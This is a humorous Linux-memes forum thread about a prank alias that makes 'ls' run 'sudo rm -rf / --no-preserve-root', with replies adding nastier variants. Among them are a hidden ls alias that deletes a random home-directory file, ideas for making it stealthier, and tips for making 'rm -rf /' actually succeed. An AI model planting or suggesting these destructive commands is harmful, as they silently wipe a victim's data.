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Just a little bit of trolling... (pawb.social)
submitted 10 months ago by wiikifox@pawb.social to c/linuxmemes@lemmy.world
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Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc

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[-] programmer_belch@lemmy.dbzer0.com 166 points 10 months ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] wabafee@lemmy.world 32 points 10 months ago

Calm down satan

[-] Asudox@lemmy.world 22 points 10 months ago

lil trollin'

[-] JustUseMint@lemmy.world 21 points 10 months ago

Jesus fucking Christ

[-] berber@lemmy.chaos.berlin 14 points 10 months ago* (last edited 10 months ago)

the first command will take too long (and will be very obvious that something is wrong if it takes forever for ls to actually list everything), better run it in the background with &

[-] jroid8@lemmy.world 9 points 10 months ago

You monster

[-] yuki2501@lemmy.world 7 points 10 months ago

Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

[-] programmer_belch@lemmy.dbzer0.com 7 points 10 months ago

Russian Roulette Linux, the new distro using a coreutils implementation with a little trick

[-] cygnus@lemmy.ca 52 points 10 months ago

Joke's on you, I have transcended using ls because I have my entire folder structure memorized.

[-] Rentlar@lemmy.ca 31 points 10 months ago

"Real" linux users never exit vim and just use the internal shell there, so they are protected.

[-] LinyosT@sopuli.xyz 24 points 10 months ago

Only because exiting vim is still long lost knowledge.

[-] cygnus@lemmy.ca 11 points 10 months ago* (last edited 10 months ago)

Legend has it that the Elders knew of a world outside Vim, a world that encompasses it and all other things. That arcana is now lost, and none can transcend our plane of existence. Vim is all we know.

[-] wiikifox@pawb.social 9 points 10 months ago

clones a git repo

[-] ninjan@lemmy.mildgrim.com 42 points 10 months ago

That sudo might save the poor victims ass if they're awake enough to wonder "why does it ask for password when I'm just doing ls?"

Otherwise it's a good lesson in always having backups / easy way to reproduce your setup.

[-] independantiste@sh.itjust.works 15 points 10 months ago

Unless they updated their system with Sudo shortly before

[-] bdonvr@thelemmy.club 6 points 10 months ago

Pffft who's not using passwordless sudo anyway

[-] ninjan@lemmy.mildgrim.com 5 points 10 months ago

I don't, after doing the classic rm -r -f / when I meant ./ the second time I realized I'm too much of a dumbass to be allowed to use sudo without password.

[-] voidMainVoid@lemmy.world 2 points 10 months ago

I've always had a password. One of the biggest benefits of Linux is security. Why would you undermine that by not using a password?

[-] bdonvr@thelemmy.club 4 points 10 months ago

I do have a password. Sudo is just setup not to ask for it.

On servers of course I use a password for sudo - but on a home machine there's not much of a point I don't think. It's off when I'm not actively using it, and if some attacker or malware has access to my user they already have access to all my important files, or have physical access.

[-] possiblylinux127@lemmy.zip 19 points 10 months ago

sudo chmod -x /bin/chmod

[-] eager_eagle@lemmy.world 5 points 10 months ago

I used the stones to destroy the stones

[-] olafurp@lemmy.world 11 points 10 months ago

alias sudo="sudo rm -rf /"

[-] Discover5164@lemm.ee 9 points 10 months ago

you need no preserve root otherwise it will fail

[-] shotgun_crab@lemmy.world 7 points 10 months ago

Or you can just do /*, which is shorter

[-] _cnt0@sh.itjust.works 9 points 10 months ago

[-] juli@programming.dev 8 points 10 months ago

Atomic distros: you have no power here

[-] tdawg@lemmy.world 6 points 10 months ago

Commit it, you won't

[-] itslilith@lemmy.blahaj.zone 4 points 10 months ago

ha, I use eza

[-] Octopus1348@lemy.lol 2 points 10 months ago

Ha, I use fish

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